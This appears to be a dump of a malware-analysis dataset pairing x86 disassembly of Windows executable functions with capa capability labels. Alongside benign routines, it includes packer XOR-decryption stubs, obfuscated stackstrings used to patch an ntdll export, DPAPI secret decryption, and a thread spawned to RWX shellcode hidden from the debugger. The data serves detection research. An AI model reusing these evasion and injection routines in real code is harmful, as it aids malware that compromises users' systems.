joyce8/EMBER2024-capa huggingface dataset:
Function at 0x403f00
Capabilities:
Create http request
Query remote server for available data
Read data from internet
Receive data

Disassembly:
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x404e68
push eax
mov eax, dword [esp + 0x18]
mov dword fs:[0], esp
sub esp, 0x10
test eax, eax
je 0x403f26
mov dword [eax], 0
push ebx
push ebp
push esi
push edi
push 0x4075d0
lea ecx, [esp + 0x14]
call sub.MFC42.DLL_CString::CString_1
mov eax, dword [esp + 0x10]
push 0
push 0
push 0
push 0
push eax
mov dword [esp + 0x3c], 0
call dword [sym.imp.WININET.dll_InternetOpenA]
mov edi, eax
test edi, edi
jne 0x403f7f
lea ecx, [esp + 0x10]
mov dword [esp + 0x28], 0xffffffff
call fcn.0040450e
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
mov ecx, dword [esp + 0x10]
mov dword fs:[0], ecx
add esp, 0x1c
ret
mov ebx, dword [esp + 0x34]
mov ebp, dword [sym.imp.WININET.dll_InternetOpenUrlA]
push 0
push 0x80000000
push 0
push 0
push ebx
push edi
call ebp
mov esi, eax
test esi, esi
jne 0x403fe5
push 0xa
call dword [sym.imp.KERNEL32.dll_Sleep]
push esi
push 0x80000000
push esi
push esi
push ebx
push edi
call ebp
mov esi, eax
test esi, esi
jne 0x403fe5
push edi
call dword [sym.imp.WININET.dll_InternetCloseHandle]
lea ecx, [esp + 0x10]
mov dword [esp + 0x28], 0xffffffff
call fcn.0040450e
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
mov ecx, dword [esp + 0x10]
mov dword fs:[0], ecx
add esp, 0x1c
ret
push esi
call fcn.00403e20
add esp, 4
cmp eax, 0xc8
push esi
je 0x404027
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
call esi
push edi
call esi
lea ecx, [esp + 0x10]
mov dword [esp + 0x28], 0xffffffff
call fcn.0040450e
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
mov ecx, dword [esp + 0x10]
mov dword fs:[0], ecx
add esp, 0x1c
ret
call fcn.00403e90
add esp, 4
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
mov dword [esp + 0x34], eax
mov dword [esp + 0x1c], ecx
jne 0x40404e
mov dword [esp + 0x34], 0x40000
mov eax, dword [esp + 0x34]
push eax
call sub.MFC42.DLL_operatornew
add esp, 4
mov ebp, eax
xor ebx, ebx
push 0
lea ecx, [esp + 0x18]
push 0
push ecx
push esi
call dword [sym.imp.WININET.dll_InternetQueryDataAvailable]
mov eax, dword [esp + 0x14]
test eax, eax
je 0x40408a
lea edx, [esp + 0x18]
push edx
push eax
lea eax, [ebx + ebp]
push eax
push esi
call dword [sym.imp.WININET.dll_InternetReadFile]
add ebx, dword [esp + 0x18]
jmp 0x40405b
push esi
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
call esi
push edi
call esi
mov eax, dword [esp + 0x1c]
test eax, eax
jne 0x4040cb
push ebx
call sub.MFC42.DLL_operatornew
mov ecx, ebx
mov esi, ebp
mov edx, ecx
mov edi, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
push ebp
and ecx, 3
mov dword [esp + 0x3c], eax
rep movsb byte es:[edi], byte [esi]
call sub.MFC42.DLL_operatordelete
mov ebp, dword [esp + 0x3c]
add esp, 8
jmp 0x4040cf
mov ebx, dword [esp + 0x34]
mov eax, dword [esp + 0x38]
test eax, eax
je 0x4040d9
mov dword [eax], ebx
lea ecx, [esp + 0x10]
mov dword [esp + 0x28], 0xffffffff
call fcn.0040450e
mov ecx, dword [esp + 0x20]
pop edi
mov eax, ebp
pop esi
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x1c
ret
Function at 0x431000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
nop
push 4
nop
nop
nop
nop
nop
pop edi
nop
nop
nop
nop
cmp eax, 0
nop
nop
nop
nop
je 0x431072
nop
nop
mov ebx, 0x40915c
nop
nop
nop
nop
mov ecx, ebx
nop
sub ecx, eax
nop
nop
nop
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
push eax
nop
mov eax, ecx
nop
nop
nop
nop
nop
nop
div edi
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
mov esi, 0x6f6e343f
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
nop
nop
add eax, edi
nop
nop
nop
nop
loop 0x431060
nop
mov eax, section..data
nop
cmp eax, 0
nop
nop
nop
nop
nop
je 0x4310d2
nop
mov ebx, 0x42f3f8
nop
mov ecx, ebx
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
push eax
nop
mov eax, ecx
nop
nop
nop
nop
nop
nop
div edi
nop
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
pop eax
nop
mov esi, 0x124c5e4f
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
nop
nop
add eax, edi
nop
nop
nop
nop
loop 0x4310c0
nop
nop
popal
nop
nop
nop
jmp 0x401219
Function at 0x805f10
Capabilities:
Encode data using xor

Disassembly:
pushal
call 0x805f16
pop ebp
sub ebp, 6
sub ebp, 0x405f10
jmp 0x805f74
xor eax, 0x10674f00
cmp al, 0x17
sbb bl, ch
out dx, al
add eax, 0x8f5ce296
cmc
sub dword [eax - 0x38eff73b], 1
add byte [eax], al
add byte [edx + 0x6b], dh
sub ah, byte [edx + 0x200f4e81]
fist dword [ebp + 0x6a56d85a]
mov ebx, dword [esi + 0x486ebe51]
fisub word [edx]
mov ebp, 0x77e2a302
mov byte [esi - 0x10], bh
shl dword [edi - 0x17], 1
add al, 0
add byte [eax], al
aas
mov ebp, 0x10b85435
pop edi
inc eax
add byte [ebx], al
lds eax, [ecx + 0x93c0]
add byte [ecx + 0x626], bh
jmp 0x805f7d
mov eax, 0x405f10
add eax, ebp
add eax, 0x93
mov ecx, 0x626
mov edx, 0x5119ff45
xor byte [eax], dl
inc eax
dec ecx
jne 0x805f94
jmp 0x805fa7
das
add eax, 0x4555452d
inc ebp
sub eax, 0x45698945
jbe 0x805f3a
adc eax, 0x9445d0ba
jae 0x806001
adc eax, 0xccce88ce
jns 0x806008
inc ebp
inc ebp
les eax, [ebp + edi*4 + 0x46454545]
mov ch, bh
inc ebx
inc ebp
inc ebp
inc ebp
jmp [ebp + 0x45]
sub eax, 0x457262f2
inc esp
imul esp, dword [ecx + 0x2d], 0x45454545
lodsd eax, dword [esi]
inc eax
inc ebp
inc ebp
inc ebp
lodsb al, byte [esi]
insd dword es:[edi], dx
inc ebp
inc ebp
inc ebp
adc dh, cl
into
test eax, 0x454dc0ce
inc ebp
inc ebp
into
ror byte [ecx + 0x45], 1
inc ebp
inc ebp
into
enter 0x4555, 0x45
inc ebp
test byte [edi + eax*2 - 0x7839b88c], ch
inc ecx
or al, 0x4a
sal byte [ecx + 0x18bababa], 0x87
dec ecx
inc ebp
into
leave
popal
inc ecx
inc ebp
inc ebp
inc ebp
sub eax, 0x454c721d
sub eax, 0x457262f2
inc esp
imul esp, dword [ecx + 0x14], 0x454540ad
inc ebp
lodsb al, byte [esi]
jp 0x80608c
inc ebp
inc ebp
adc byte [ecx], dl
sbb byte [edx + 0x30ba4930], bh
dec ebp
lodsd eax, dword [esi]
aaa
inc ebp
inc ebp
inc ebp
into
clc
dec ebp
inc ebp
inc ebp
inc ebp
jbe 0x805fe9
les esi, [edi - 0x111d1d71]
les esi, [edi - 0x111d1d71]
jbe 0x806002
invalid
rcl dword [ebp + eax*2 + 0x45], 0x45
and eax, esp
mov esi, 0xc14a60ba
push eax
inc ebp
inc ebp
inc ebp
add al, 0xac
mov dword [edx + 0x96cbaba], edi
jl 0x8060ea
mov byte [eax + eax*2 - 0x53be523a], 0xf8
mov edx, 0x116cbaba
jl 0x8060fc
mov byte [ebx + eax*2 - 0x39be503a], 0xad
inc eax
lodsb al, byte [esi]
out dx, al
mov edx, 0x8718baba
dec ecx
inc ebp
adc dh, cl
test eax, 0xce101213
xor byte [ecx - 0x32], cl
cmp byte [ebp - 0x47], cl
test ebp, 0x83c443cf
inc esp
inc ebp
inc ebp
inc ebp
int 0x42
les eax, [edx + 0x45454544]
inc byte [edi + 0x45]
inc ebp
inc ebp
inc edi
xchg edi, eax
dec edx
rol byte [eax + 0x45], 0x45
inc ebp
iretd
mov edx, 0x4a9747ba
rol byte [eax + 0x45], 0x45
inc ebp
iretd
Function at 0x10003480
Capabilities:
Allocate or change rwx memory
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
mov eax, dword [0x1000d040]
xor eax, ebp
mov dword [ebp - 4], eax
lea eax, [ebp - 0x13]
mov dword [ebp - 0x14], 0x64746e5e
push eax
mov dword [ebp - 0x10], 0x642e6c6c
mov word [ebp - 0xc], 0x6c6c
mov byte [ebp - 0xa], 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
movaps xmm0, xmmword [0x1000a370]
mov edx, eax
movups xmmword [ebp - 0x30], xmm0
mov dword [ebp - 0x20], 0x27243e13
xor eax, eax
mov dword [ebp - 0x1c], 0x3f342336
mov word [ebp - 0x18], 0x2532
mov byte [ebp - 0x16], 0
nop dword [eax]
mov cl, byte [ebp - 0x30]
xor byte [ebp + eax - 0x2f], cl
inc eax
cmp eax, 0x19
jb 0x100034e0
push edi
lea eax, [ebp - 0x2f]
mov byte [ebp - 0x16], 0
push eax
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
lea eax, [ebp - 8]
push eax
push 0x40
push 1
push edi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
movaps xmm0, xmmword [0x1000a3c0]
lea eax, [ebp - 8]
push eax
movups xmmword [edi], xmm0
movq qword [edi + 0x10], xmm0
push dword [ebp - 8]
push 1
push edi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop edi
call fcn.10007490
mov esp, ebp
pop ebp
ret

Function at 0x10003670
Capabilities:
Encrypt data using dpapi

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
mov eax, dword [0x1000d040]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
mov ecx, eax
push esi
mov esi, dword [ebp + 8]
mov dword [ebp - 0x20], esi
cmp dword [eax + 0x14], 0xf
jbe 0x10003694
mov ecx, dword [eax]
mov eax, dword [eax + 0x10]
mov dword [ebp - 0x2c], eax
lea eax, [ebp - 0x24]
push eax
push 0
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x2c]
mov dword [ebp - 0x28], ecx
push eax
call sub.CRYPT32.dll_CryptUnprotectData
xorps xmm0, xmm0
test eax, eax
je 0x1000371d
mov eax, dword [ebp - 0x24]
lea ecx, [ebp - 0x1c]
shr eax, 1
push eax
push dword [ebp - 0x20]
movups xmmword [ebp - 0x1c], xmm0
mov dword [ebp - 0xc], 0
mov dword [ebp - 8], 0
call fcn.10002740
push dword [ebp - 0x20]
call dword [sym.imp.KERNEL32.dll_LocalFree]
xorps xmm0, xmm0
mov eax, esi
movups xmmword [esi], xmm0
mov dword [esi + 0x10], 0
movups xmm0, xmmword [ebp - 0x1c]
mov dword [esi + 0x14], 0
movups xmmword [esi], xmm0
movq xmm0, qword [ebp - 0xc]
movq qword [esi + 0x10], xmm0
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10007490
mov esp, ebp
pop ebp
ret
push 0
movups xmmword [esi], xmm0
push 0x10009760
mov ecx, esi
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
call fcn.10002740
mov ecx, dword [ebp - 4]
mov eax, esi
xor ecx, ebp
pop esi
call fcn.10007490
mov esp, ebp
pop ebp
ret
Function at 0x10003ee0
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x218
mov eax, dword [0x1000d040]
xor eax, ebp
mov dword [ebp - 4], eax
mov al, 0x30
mov dword [ebp - 0x208], 0
movsx cx, al
push esi
mov esi, dword [ebp + 8]
mov eax, ecx
mov word [ebp - 0x218], 0x30
xor eax, 0x73
mov word [ebp - 0x216], ax
mov eax, ecx
xor eax, 0xa
xor ecx, 0x1f
mov word [ebp - 0x214], ax
xor eax, eax
push eax
push eax
push eax
push eax
mov word [ebp - 0x20e], ax
lea eax, [ebp - 0x208]
push eax
push 0
push 0
lea eax, [ebp - 0x216]
mov word [ebp - 0x212], cx
push eax
mov word [ebp - 0x210], cx
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationW]
test eax, eax
je 0x10003f93
push dword [ebp - 0x208]
lea eax, [ebp - 0x20b]
mov dword [ebp - 0x20c], 0x64257c
push eax
lea eax, [ebp - 0x204]
push eax
call fcn.10002ba0
push dword [ebp + 0xc]
push 0
push esi
call sub.VCRUNTIME140.dll_memset
add esp, 0x18
lea ecx, [ebp - 0x204]
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10003fa0
push dword [ebp + 0xc]
sub ecx, edx
lea eax, [ebp - 0x204]
push esi
push ecx
push eax
call fcn.100042e0
mov ecx, dword [ebp - 4]
add esp, 0x10
xor ecx, ebp
pop esi
call fcn.10007490
mov esp, ebp
pop ebp
ret
Function at 0x100042e0
Capabilities:
Hash data via wincrypt
Hash data with md5
Initialize hashing via wincrypt

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x60
mov eax, dword [0x1000d040]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0x10]
movups xmm0, xmmword [str.0123456789abcdef]
push ebx
mov ebx, dword [ebp + 0xc]
push esi
push edi
mov edi, dword [ebp + 8]
mov dword [ebp - 0x4c], eax
lea esi, [ebx + 1]
mov al, byte [0x100092a0]
push esi
mov dword [ebp - 0x40], 0
mov dword [ebp - 0x3c], 0
movups xmmword [ebp - 0x60], xmm0
mov byte [ebp - 0x50], al
call fcn.10006eb6
push edi
push esi
push eax
mov dword [ebp - 0x48], eax
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcpy_s]
add esp, 0x10
lea eax, [ebp - 0x40]
push 0xf0000000
push 1
push 0
push 0
push eax
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
lea eax, [ebp - 0x3c]
push eax
push 0
push 0
push 0x8003
push dword [ebp - 0x40]
call dword [sym.imp.ADVAPI32.dll_CryptCreateHash]
push 0
push ebx
mov ebx, dword [ebp - 0x48]
push ebx
push dword [ebp - 0x3c]
call dword [sym.imp.ADVAPI32.dll_CryptHashData]
push 0
lea eax, [ebp - 0x44]
mov dword [ebp - 0x44], 0x10
push eax
lea eax, [ebp - 0x38]
push eax
push 2
push dword [ebp - 0x3c]
call dword [sym.imp.ADVAPI32.dll_CryptGetHashParam]
mov edi, dword [ebp - 0x44]
xor esi, esi
test edi, edi
je 0x100043c5
lea edx, [ebp - 0x28]
nop dword [eax + eax]
movzx ecx, byte [ebp + esi - 0x38]
lea edx, [edx + 2]
mov eax, ecx
inc esi
shr eax, 4
and ecx, 0xf
movzx eax, byte [ebp + eax - 0x60]
mov byte [edx - 2], al
movzx eax, byte [ebp + ecx - 0x60]
mov byte [edx - 1], al
cmp esi, edi
jb 0x100043a0
lea ecx, [ebp - 0x28]
mov edx, 0x20
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x100043d0
sub ecx, esi
cmp ecx, edx
jbe 0x100043fe
nop dword [eax]
cmp edx, 0x21
jae 0x10004441
lea eax, [ebp - 0x28]
mov byte [ebp + edx - 0x28], 0
inc edx
lea esi, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x100043f1
sub eax, esi
cmp edx, eax
jb 0x100043e0
lea eax, [ebp - 0x28]
push eax
push dword [ebp + 0x14]
push dword [ebp - 0x4c]
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcpy_s]
add esp, 0xc
push dword [ebp - 0x3c]
call dword [sym.imp.ADVAPI32.dll_CryptDestroyHash]
push 0
push dword [ebp - 0x40]
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
push 1
push ebx
call fcn.10006ea8
mov ecx, dword [ebp - 4]
add esp, 8
xor ecx, ebp
pop edi
pop esi
pop ebx
call fcn.10007490
mov esp, ebp
pop ebp
ret
call fcn.10007300
int3
Function at 0x10005250
Capabilities:
Contain obfuscated stackstrings
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x60
mov eax, dword [0x1000d040]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov esi, dword [ebp + 8]
xor eax, eax
push edi
mov cl, 0x16
mov dword [ebp - 0x60], 0x450016
mov dword [ebp - 0x5c], 0x45004f
mov dword [ebp - 0x58], 0x530042
mov dword [ebp - 0x54], 0x4a005b
mov dword [ebp - 0x50], 0x630055
mov dword [ebp - 0x4c], 0x640064
mov dword [ebp - 0x48], 0x780073
mov dword [ebp - 0x44], 0x550062
mov dword [ebp - 0x40], 0x780079
mov dword [ebp - 0x3c], 0x640062
mov dword [ebp - 0x38], 0x7a0079
mov dword [ebp - 0x34], 0x730045
mov dword [ebp - 0x30], 0x4a0062
mov dword [ebp - 0x2c], 0x790052
mov dword [ebp - 0x28], 0x620078
mov dword [ebp - 0x24], 0x730052
mov dword [ebp - 0x20], 0x630074
mov dword [ebp - 0x1c], 0x4a0071
mov word [ebp - 0x18], ax
nop dword [eax]
movsx cx, cl
xor word [ebp + eax*2 - 0x5e], cx
inc eax
cmp eax, 0x23
jae 0x10005304
mov cl, byte [ebp - 0x60]
jmp 0x100052f0
lea eax, [ebp - 0x14]
mov dword [ebp - 0xc], 1
push eax
push 0xf003f
push 0
lea eax, [ebp - 0x5e]
mov dword [ebp - 8], 0xff
push eax
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
cmp eax, 2
jne 0x10005353
push 0
lea eax, [ebp - 0x14]
push eax
push 0
push 0xf003f
push 0
push 0
push 0
lea eax, [ebp - 0x5e]
push eax
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0xc]
push eax
push 0
push esi
push dword [ebp - 0x14]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov ecx, dword [ebp - 4]
mov eax, dword [ebp - 0x10]
xor ecx, ebp
pop edi
pop esi
pop ebx
call fcn.10007490
mov esp, ebp
pop ebp
ret
Function at 0x100054f0
Capabilities:
Allocate or change rwx memory
Create thread
Hide thread from debugger
Resume thread
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2e4
mov eax, dword [0x1000d040]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
mov dword [ebp - 0x2e4], eax
mov eax, dword [ebp + 0xc]
push str.ntdll
mov dword [ebp - 0x2e0], eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
xor esi, esi
push esi
call dword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
push eax
call dword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_srand]
add esp, 8
lea ebx, [esi + 8]
nop dword [eax]
call dword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
movzx edi, al
call dword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
movzx eax, al
mov ecx, ebx
or eax, edi
shl eax, cl
or esi, eax
call dword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov ecx, ebx
movzx eax, al
shl eax, cl
add ebx, 8
or esi, eax
cmp ebx, 0x20
jl 0x10005540
cmp esi, 0x7fffffff
jbe 0x1000558e
lea eax, [esi - 0x80000000]
shr eax, 0xc
inc eax
sub esi, 0x1000
sub eax, 1
jne 0x10005583
push 0
push 0x40
push 0x3e8
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
push 0
lea eax, [ebp - 0x2dc]
mov dword [ebp - 0x2dc], 0
push eax
mov eax, dword [ebp - 0x2e0]
push dword [eax]
push esi
push 0
push 0
push 0
push 1
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ntdll.dll_RtlCreateUserThread]
push 4
lea eax, [ebp - 8]
mov dword [ebp - 8], 1
push eax
push 0x11
push dword [ebp - 0x2dc]
mov dword [ebp - 0xc], 0
call dword [sym.imp.ntdll.dll_NtSetInformationThread]
lea eax, [ebp - 0xc]
push eax
push 4
lea eax, [ebp - 8]
push eax
push 0x11
push dword [ebp - 0x2dc]
call dword [sym.imp.ntdll.dll_NtQueryInformationThread]
lea eax, [ebp - 0x2d8]
mov dword [ebp - 0x2d8], 0x10003
push eax
push dword [ebp - 0x2dc]
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
mov eax, dword [ebp - 0x2e4]
mov dword [ebp - 0x228], eax
lea eax, [ebp - 0x2d8]
push eax
push dword [ebp - 0x2dc]
mov dword [ebp - 0x2d8], 0x10003
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
push dword [ebp - 0x2dc]
call dword [sym.imp.KERNEL32.dll_ResumeThread]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10007490
mov esp, ebp
pop ebp
ret

Function at 0x10005790
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push esi
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
je 0x100057eb
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov esi, eax
test esi, esi
je 0x100057eb
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ecx, dword [ebp + 0x10]
lea edx, [esi + eax]
and ecx, 0xf
jbe 0x100057da
cmp esi, edx
jae 0x100057eb
movzx eax, word [esi]
lea esi, [esi + eax*2]
add esi, 2
sub ecx, 1
jne 0x100057c8
cmp esi, edx
jae 0x100057eb
xor eax, eax
cmp word [esi], ax
cmove esi, eax
mov eax, esi
pop esi
pop ebp
ret
xor eax, eax
pop esi
pop ebp
ret
Function at 0x10006c20
Capabilities:
Enumerate process modules

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x42c
mov eax, dword [0x1000d040]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push 0x424
lea eax, [ebp - 0x428]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
mov dword [ebp - 0x42c], 0x428
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push eax
push 8
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov esi, eax
lea eax, [ebp - 0x42c]
push eax
push esi
call sub.KERNEL32.dll_Module32FirstW
test eax, eax
je 0x10006ca5
nop word [eax + eax]
lea eax, [ebp - 0x40c]
push eax
push 0x1000a450
call fcn.10006cd0
add esp, 8
lea eax, [ebp - 0x42c]
push eax
push esi
call sub.KERNEL32.dll_Module32NextW
test eax, eax
jne 0x10006c80
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push str.____________________________________________
call fcn.10006cd0
mov ecx, dword [ebp - 4]
add esp, 4
xor ecx, ebp
pop esi
call fcn.10007490
mov esp, ebp
pop ebp
ret

Function at 0x431000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..idata
mov ebx, 0x40915c
nop
mov ecx, 0x17f35df9
nop
nop
test eax, eax
nop
nop
nop
nop
je 0x43104e
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
cmp eax, ebx
nop
nop
nop
nop
nop
jne 0x431024
nop
nop
nop
mov eax, section..data
mov ebx, 0x42f3f8
nop
nop
mov ecx, 0x47f55360
test eax, eax
nop
nop
nop
nop
nop
nop
nop
je 0x431084
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
add eax, 4
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
nop
jne 0x43106c
nop
popal
nop
nop
nop
nop
nop
jmp 0x401219
Function at 0x409f18
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
mov ecx, dword [ebp + 0xc]
xor eax, eax
mov edx, eax
push esi
mov esi, dword [ebp + 8]
and ecx, 0xfffffffc
jbe 0x409f5c
rol eax, 5
xor eax, dword [edx + esi]
add edx, 4
imul eax, eax, 0x9e3779b9
rol eax, 5
xor eax, 4
imul eax, eax, 0x9e3779b9
cmp edx, ecx
jb 0x409f2b
jmp 0x409f5c
movsx ecx, byte [edx + esi]
rol eax, 5
xor eax, ecx
imul eax, eax, 0x9e3779b9
inc edx
cmp edx, dword [ebp + 0xc]
jb 0x409f4c
pop esi
pop ebp
ret

Function at 0x40ae7c
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
push 1
lea esi, [ebx - 1]
push 0x2000
not esi
push ebx
and esi, 0xf0deafff
push esi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edi, eax
cmp edi, esi
jne 0x40aeb1
mov eax, esi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
lea eax, [ebp - 0x24]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
cmp esi, dword [ebp - 0x18]
jb 0x40aedb
lea eax, [esi + ebx]
cmp eax, dword [ebp - 0x18]
jb 0x40aedb
test edi, edi
je 0x40aea8
push 0x8000
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
jmp 0x40aea8
test edi, edi
je 0x40aee3
mov eax, edi
jmp 0x40aeaa
push 1
push 0x2000
push ebx
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
test eax, eax
jne 0x40aeaa
mov esi, 0xc3
push esi
push str.c:_builds_moz2_slave_autoland_w32_d_000000000000000_build_src_mfbt_Poison.cpp
push str.no_usable_poison_region_identified
call fcn.0040ea73
add esp, 0xc
int3
Function at 0x40eaa7
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
lea eax, [ebp - 0x24]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov eax, dword [ebp - 8]
push eax
mov dword [sym.TestMacroArgs.exe_gMozillaPoisonSize], eax
call fcn.0040ae7c
pop ecx
mov ecx, dword [sym.TestMacroArgs.exe_gMozillaPoisonSize]
mov dword [sym.TestMacroArgs.exe_gMozillaPoisonBase], eax
test ecx, ecx
je 0x40eadf
shr ecx, 1
dec ecx
add eax, ecx
mov dword [sym.TestMacroArgs.exe_gMozillaPoisonValue], eax
mov esp, ebp
pop ebp
ret
Function at 0x433003
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax - 0x6f6f6f70], dl
nop
nop
nop
nop
nop
pushal
call 0x43300c
nop
nop
pop eax
nop
nop
nop
nop
add eax, 0x40a063
sub eax, 0x40a009
nop
nop
mov ebx, dword [eax]
nop
nop
nop
nop
nop
nop
mov ecx, dword [eax + 4]
mov edx, dword [eax + 8]
nop
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
add ebx, 4
nop
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
nop
nop
nop
jl 0x432fd9
add eax, 0xc
nop
nop
nop
nop
cmp dword [eax], 0
nop
nop
nop
nop
nop
jne 0x43301e
nop
nop
nop
nop
popal
nop
jmp 0x431219
Function at 0x430004
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
call 0x43000c
nop
pop eax
nop
nop
nop
nop
add eax, reloc.user32.dll_CreateAcceleratorTableA
nop
nop
sub eax, 0x403d15
nop
nop
mov ebx, dword [eax]
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
nop
nop
nop
xor dword [ebx], edx
add ebx, 4
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
jl 0x430030
nop
nop
nop
nop
nop
nop
add eax, 0xc
nop
cmp dword [eax], 0
nop
nop
nop
jne 0x43001e
nop
nop
nop
nop
nop
nop
nop
nop
popal
nop
jmp loc.00401219